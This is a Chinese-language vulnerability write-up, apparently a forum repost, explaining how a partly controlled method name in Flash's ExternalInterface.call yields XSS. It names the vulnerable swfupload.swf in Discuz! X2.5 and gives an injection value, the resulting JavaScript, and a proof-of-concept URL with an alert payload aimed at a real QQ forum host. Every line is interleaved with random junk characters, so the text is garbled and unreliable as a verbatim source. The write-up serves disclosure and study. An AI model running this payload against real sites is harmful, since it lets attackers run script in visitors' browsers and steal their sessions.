上回我们说1 r" M4 W% ~* f4 }0 t; a0 N i
% |. n; ]& a( O) E: F: }
flash.external.ExternalInterface.call($methodName, $parameter)$ O" p& ?' p, m8 s; B, V! Y6 N( A" s/ A
在浏览器中执行的是
- k2 k# `1 m5 D, k5 O1 d# O; K0 ?
; q- `, G. A- O6 K6 e" I1 ]" Jtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}# M7 m1 y. E0 j+ Q8 n" D
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
/ f c& Y6 b# M& b2 Y/ ~/ F7 f& E( B/ S3 x) p
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
3 t5 d6 D. H) k- y$methodName = a())}catch(e){alert(/xss/)}//
" H$ U9 ? F" l结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
% k5 r, W4 e. o/ O* S9 \3 n* _' O5 [' M% M& B7 t
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
s% ?% S9 E& Z8 f @# l h0 W2 N1 a! u, I/ J5 F8 }
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
- A% \+ f2 E6 l! k杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
1 [( x( }/ s. m- \/ v2 H( L1 U0 d+ d% b1 H! z4 k- T0 m# Z1 O. W
8 u" V! L# T7 G2 z: |. N X0 |: q, \2 c) T" y2 o
漏洞文件:upload\static\image\common\swfupload.swf
1 ^$ z8 X7 s$ }; w3 |3 r4 N7 a0 r* J) g6 F4 M- n- L& S) E# B
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
% R5 G, Q, ?( D
% A( \. O( f% h% x
0 p8 w3 u( t/ m# T漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
0 ^6 F6 H& y4 n7 n. J0 {; r' W1 V/ Q' b6 r7 `
1 _/ ?/ M# X0 [7 j2 p6 d
|